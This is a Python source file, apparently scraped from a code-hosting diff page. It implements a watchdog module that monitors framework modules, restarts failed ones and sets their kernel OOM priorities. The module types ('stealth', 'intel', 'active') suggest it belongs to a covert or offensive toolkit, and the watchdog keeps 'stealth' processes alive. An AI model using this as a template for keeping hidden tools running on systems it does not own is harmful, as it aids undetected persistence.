_OOM_PRIORITIES = {
|
||||||
|
"core": -500,
|
||||||
|
"stealth": -400,
|
||||||
|
"connectivity": -300,
|
||||||
|
"intel": -200,
|
||||||
|
"passive": 100,
|
||||||
|
"active": 200,
|
||||||
|
}
|
||||||
|
|
||||||
|
MAX_RESTART_ATTEMPTS = 3
|
||||||
|
HEALTH_CHECK_INTERVAL = 30.0 # seconds
|
||||||
|
|
||||||
|
|
||||||
|
class _ModuleEntry:
|
||||||
|
"""Internal tracking for a monitored module."""
|
||||||
|
__slots__ = ("name", "module_type", "pid", "restart_count", "last_check",
|
||||||
|
"last_status", "failed")
|
||||||
|
|
||||||
|
def __init__(self, name: str, module_type: str, pid: int):
|
||||||
|
self.name = name
|
||||||
|
self.module_type = module_type
|
||||||
|
self.pid = pid
|
||||||
|
self.restart_count = 0
|
||||||
|
self.last_check = 0.0
|
||||||
|
self.last_status = "unknown"
|
||||||
|
self.failed = False
|
||||||
|
|
||||||
|
|
||||||
|
class Watchdog(BaseModule):
|
||||||
|
"""Monitor modules and tools, auto-restart on failure, manage OOM priorities."""
|
||||||
|
|
||||||
|
name = "watchdog"
|
||||||
|
module_type = "stealth"
|
||||||
|
priority = -500
|
||||||
|
requires_root = False
|
||||||
|
|
||||||
|
def __init__(self, bus, state, config, engine=None):
|
||||||
|
super().__init__(bus, state, config, engine)
|
||||||
|
self._monitored: Dict[str, _ModuleEntry] = {}
|
||||||
|
self._lock = threading.Lock()
|
||||||
|
self._check_thread: Optional[threading.Thread] = None
|
||||||
|
self._check_interval = HEALTH_CHECK_INTERVAL
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# BaseModule interface
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def start(self) -> None:
|
||||||
|
if self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Subscribe to error/crash events
|
||||||
|
self.bus.subscribe(self._on_module_error, event_type="MODULE_ERROR")
|
||||||
|
self.bus.subscribe(self._on_tool_crashed, event_type="TOOL_CRASHED")
|
||||||
|
self.bus.subscribe(self._on_module_started, event_type="MODULE_STARTED")
|
||||||
|
self.bus.subscribe(self._on_module_stopped, event_type="MODULE_STOPPED")
|
||||||
|
|
||||||
|
# Populate initial monitoring list from state manager
|
||||||
|
self._refresh_monitored_list()
|
||||||
|
|
||||||
|
# Start health check loop
|
||||||
|
self._running = True
|
||||||
|
self._pid = os.getpid()
|
||||||
|
self._start_time = time.time()
|
||||||
|
self._check_thread = threading.Thread(
|
||||||
|
target=self._health_check_loop, daemon=True, name="bb-watchdog",
|
||||||
|
)
|
||||||
|
self._check_thread.start()
|
||||||
|
|
||||||
|
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||||
|
logger.info("Watchdog active — monitoring %d modules", len(self._monitored))
|
||||||
|
|
||||||
|
def stop(self) -> None:
|
||||||
|
if not self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
self._running = False
|
||||||
|
|
||||||
|
self.bus.unsubscribe(self._on_module_error, event_type="MODULE_ERROR")
|
||||||
|
self.bus.unsubscribe(self._on_tool_crashed, event_type="TOOL_CRASHED")
|
||||||
|
self.bus.unsubscribe(self._on_module_started, event_type="MODULE_STARTED")
|
||||||
|
self.bus.unsubscribe(self._on_module_stopped, event_type="MODULE_STOPPED")
|
||||||
|
|
||||||
|
if self._check_thread and self._check_thread.is_alive():
|
||||||
|
self._check_thread.join(timeout=5.0)
|
||||||
|
|
||||||
|
self.state.set_module_status(self.name, "stopped")
|
||||||
|
logger.info("Watchdog stopped")
|
||||||
|
|
||||||
|
def status(self) -> dict:
|
||||||
|
with self._lock:
|
||||||
|
health_report = []
|
||||||
|
for name, entry in self._monitored.items():
|
||||||
|
health_report.append({
|
||||||
|
"module": entry.name,
|
||||||
|
"module_type": entry.module_type,
|
||||||
|
"pid": entry.pid,
|
||||||
|
"status": entry.last_status,
|
||||||
|
"restarts": entry.restart_count,
|
||||||
|
"last_check": entry.last_check,
|
||||||
|
"failed": entry.failed,
|
||||||
|
})
|
||||||
|
|
||||||
|
return {
|
||||||
|
"running": self._running,
|
||||||
|
"pid": self._pid,
|
||||||
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||||
|
"monitored_count": len(self._monitored),
|
||||||
|
"health_report": health_report,
|
||||||
|
"check_interval_s": self._check_interval,
|
||||||
|
}
|
||||||
|
|
||||||
|
def configure(self, config: dict) -> None:
|
||||||
|
self.config.update(config)
|
||||||
|
self._check_interval = config.get("check_interval_s", HEALTH_CHECK_INTERVAL)
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Event handlers
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _on_module_started(self, event: Event) -> None:
|
||||||
|
"""Register a newly started module for monitoring."""
|
||||||
|
payload = event.payload
|
||||||
|
name = payload.get("module", "")
|
||||||
|
pid = payload.get("pid")
|
||||||
|
module_type = payload.get("module_type", "passive")
|
||||||
|
|
||||||
|
if name and pid and name != self.name:
|
||||||
|
with self._lock:
|
||||||
|
self._monitored[name] = _ModuleEntry(name, module_type, pid)
|
||||||
|
self._set_oom_priority(pid, module_type)
|
||||||
|
logger.debug("Now monitoring: %s (PID %d, type %s)", name, pid, module_type)
|
||||||
|
|
||||||
|
def _on_module_stopped(self, event: Event) -> None:
|
||||||
|
"""Remove a stopped module from monitoring."""
|
||||||
|
name = event.payload.get("module", "")
|
||||||
|
if name:
|
||||||
|
with self._lock:
|
||||||
|
self._monitored.pop(name, None)
|
||||||
|
|
||||||
|
def _on_module_error(self, event: Event) -> None:
|
||||||
|
"""Handle a module error event — attempt restart."""
|
||||||
|
name = event.payload.get("module", "")
|
||||||
|
error = event.payload.get("error", "unknown")
|
||||||
|
logger.warning("Module error reported: %s — %s", name, error)
|
||||||
|
self._attempt_restart(name)
|
||||||
|
|
||||||
|
def _on_tool_crashed(self, event: Event) -> None:
|
||||||
|
"""Handle a managed tool crash — delegate restart to engine/tool_manager."""
|
||||||
|
tool = event.payload.get("tool", "")
|
||||||
|
pid = event.payload.get("pid")
|
||||||
|
logger.warning("Tool crashed: %s (PID %s)", tool, pid)
|
||||||
|
|
||||||
|
# Tool restarts are handled by tool_manager; we just log and track
|
||||||
|
with self._lock:
|
||||||
|
entry = self._monitored.get(tool)
|
||||||
|
if entry:
|
||||||
|
entry.restart_count += 1
|
||||||
|
entry.last_status = "crashed"
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Health check loop
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _health_check_loop(self) -> None:
|
||||||
|
"""Periodic health check of all monitored modules."""
|
||||||
|
while self._running:
|
||||||
|
time.sleep(self._check_interval)
|
||||||
|
if not self._running:
|
||||||
|
break
|
||||||
|
|
||||||
|
self._run_health_checks()
|
||||||
|
|
||||||
|
def _run_health_checks(self) -> None:
|
||||||
|
"""Check health of all monitored modules."""
|
||||||
|
with self._lock:
|
||||||
|
entries = list(self._monitored.values())
|
||||||
|
|
||||||
|
for entry in entries:
|
||||||
|
if entry.failed:
|
||||||
|
continue # Already gave up on this module
|
||||||
|
|
||||||
|
now = time.time()
|
||||||
|
entry.last_check = now
|
||||||
|
|
||||||
|
# Check if process is alive
|
||||||
|
if not self._is_pid_alive(entry.pid):
|
||||||
|
logger.warning("Module %s (PID %d) is dead", entry.name, entry.pid)
|
||||||
|
entry.last_status = "dead"
|
||||||
|
self._attempt_restart(entry.name)
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Check process health via engine if available
|
||||||
|
if self.engine:
|
||||||
|
try:
|
||||||
|
module_instance = self._get_module_instance(entry.name)
|
||||||
|
if module_instance and hasattr(module_instance, "health_check"):
|
||||||
|
healthy = module_instance.health_check()
|
||||||
|
entry.last_status = "healthy" if healthy else "unhealthy"
|
||||||
|
if not healthy:
|
||||||
|
logger.warning("Module %s failed health check", entry.name)
|
||||||
|
self._attempt_restart(entry.name)
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
entry.last_status = "alive"
|
||||||
|
except Exception as exc:
|
||||||
|
logger.debug("Health check error for %s: %s", entry.name, exc)
|
||||||
|
entry.last_status = "check_error"
|
||||||
|
else:
|
||||||
|
# No engine reference — just check PID is alive
|
||||||
|
entry.last_status = "alive"
|
||||||
|
|
||||||
|
def _attempt_restart(self, module_name: str) -> None:
|
||||||
|
"""Attempt to restart a failed module via the engine."""
|
||||||
|
with self._lock:
|
||||||
|
entry = self._monitored.get(module_name)
|
||||||
|
if not entry:
|
||||||
|
return
|
||||||
|
if entry.failed:
|
||||||
|
return
|
||||||
|
|
||||||
|
entry.restart_count += 1
|
||||||
|
if entry.restart_count > MAX_RESTART_ATTEMPTS:
|
||||||
|
entry.failed = True
|
||||||
|
entry.last_status = "given_up"
|
||||||
|
logger.error(
|
||||||
|
"Module %s exceeded max restarts (%d) — giving up",
|
||||||
|
module_name, MAX_RESTART_ATTEMPTS,
|
||||||
|
)
|
||||||
|
self.bus.emit(
|
||||||
|
"MODULE_ERROR",
|
||||||
|
{"module": module_name, "error": "max_restarts_exceeded",
|
||||||
|
"restarts": entry.restart_count},
|
||||||
|
source_module=self.name,
|
||||||
|
)
|
||||||
|
return
|
||||||
|
|
||||||
|
logger.info(
|
||||||
|
"Attempting restart of %s (attempt %d/%d)",
|
||||||
|
module_name, entry.restart_count, MAX_RESTART_ATTEMPTS,
|
||||||
|
)
|
||||||
|
|
||||||
|
# Delegate restart to engine
|
||||||
|
if self.engine and hasattr(self.engine, "restart_module"):
|
||||||
|
try:
|
||||||
|
success = self.engine.restart_module(module_name)
|
||||||
|
if success:
|
||||||
|
entry.last_status = "restarted"
|
||||||
|
self.bus.emit(
|
||||||
|
"MODULE_RESTARTED" if "MODULE_RESTARTED" in getattr(
|
||||||
|
self.bus, '_subscribers', {}
|
||||||
|
) else "TOOL_RESTARTED",
|
||||||
|
{"module": module_name, "attempt": entry.restart_count},
|
||||||
|
source_module=self.name,
|
||||||
|
)
|
||||||
|
# Publish MODULE_RESTARTED (it may not be in EVENT_TYPES but
|
||||||
|
# subscribers can still listen for it)
|
||||||
|
self.bus.emit(
|
||||||
|
"TOOL_RESTARTED",
|
||||||
|
{"module": module_name, "tool": module_name,
|
||||||
|
"attempt": entry.restart_count},
|
||||||
|
source_module=self.name,
|
||||||
|
)
|
||||||
|
logger.info("Successfully restarted %s", module_name)
|
||||||
|
else:
|
||||||
|
entry.last_status = "restart_failed"
|
||||||
|
logger.error("Engine failed to restart %s", module_name)
|
||||||
|
except Exception as exc:
|
||||||
|
entry.last_status = "restart_error"
|
||||||
|
logger.error("Restart error for %s: %s", module_name, exc)
|
||||||
|
else:
|
||||||
|
logger.warning("No engine available — cannot restart %s", module_name)
|
||||||
|
entry.last_status = "no_engine"
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# OOM priority management
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _set_oom_priority(self, pid: int, module_type: str) -> None:
|
||||||
|
"""Set OOM score adjustment for a process based on its module type."""
|
||||||
|
score = _OOM_PRIORITIES.get(module_type, 0)
|
||||||
|
oom_path = f"/proc/{pid}/oom_score_adj"
|
||||||
|
try:
|
||||||
|
with open(oom_path, "w") as f:
|
||||||
|
f.write(str(score))
|
||||||
|
logger.debug("Set OOM priority for PID %d: %d (%s)", pid, score, module_type)
|
||||||
|
except (IOError, PermissionError) as exc:
|
||||||
|
logger.debug("Cannot set OOM priority for PID %d: %s", pid, exc)
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Helpers
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _refresh_monitored_list(self) -> None:
|
||||||
|
"""Populate monitored list from state manager's module status."""
|
||||||
|
try:
|
||||||
|
all_status = self.state.get_all_module_status()
|
||||||
|
with self._lock:
|
||||||
|
for name, info in all_status.items():
|
||||||
|
if name == self.name:
|
||||||
|
continue
|
||||||
|
if info.get("status") == "running" and info.get("pid"):
|
||||||
|
self._monitored[name] = _ModuleEntry(
|
||||||
|
name=name,
|
||||||
|
module_type="unknown",
|
||||||
|
pid=info["pid"],
|
||||||
|
)
|
||||||
|
except Exception as exc:
|
||||||
|
logger.debug("Could not refresh monitored list: %s", exc)
|
||||||
|
|
||||||
|
def _get_module_instance(self, module_name: str):
|
||||||
|
"""Get a module instance from the engine if available."""
|
||||||
|
if self.engine and hasattr(self.engine, "get_module"):
|
||||||
|
return self.engine.get_module(module_name)
|
||||||
|
return None
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _is_pid_alive(pid: int) -> bool:
|
||||||
|
"""Check if a process with the given PID exists."""
|
||||||
|
try:
|
||||||
|
os.kill(pid, 0)
|
||||||
|
return True
|
||||||
|
except (ProcessLookupError, PermissionError):
|
||||||
|
return False
|
||||||
|
except OSError:
|
||||||
|
return False
|
||||||
Reference in New Issue
Block a user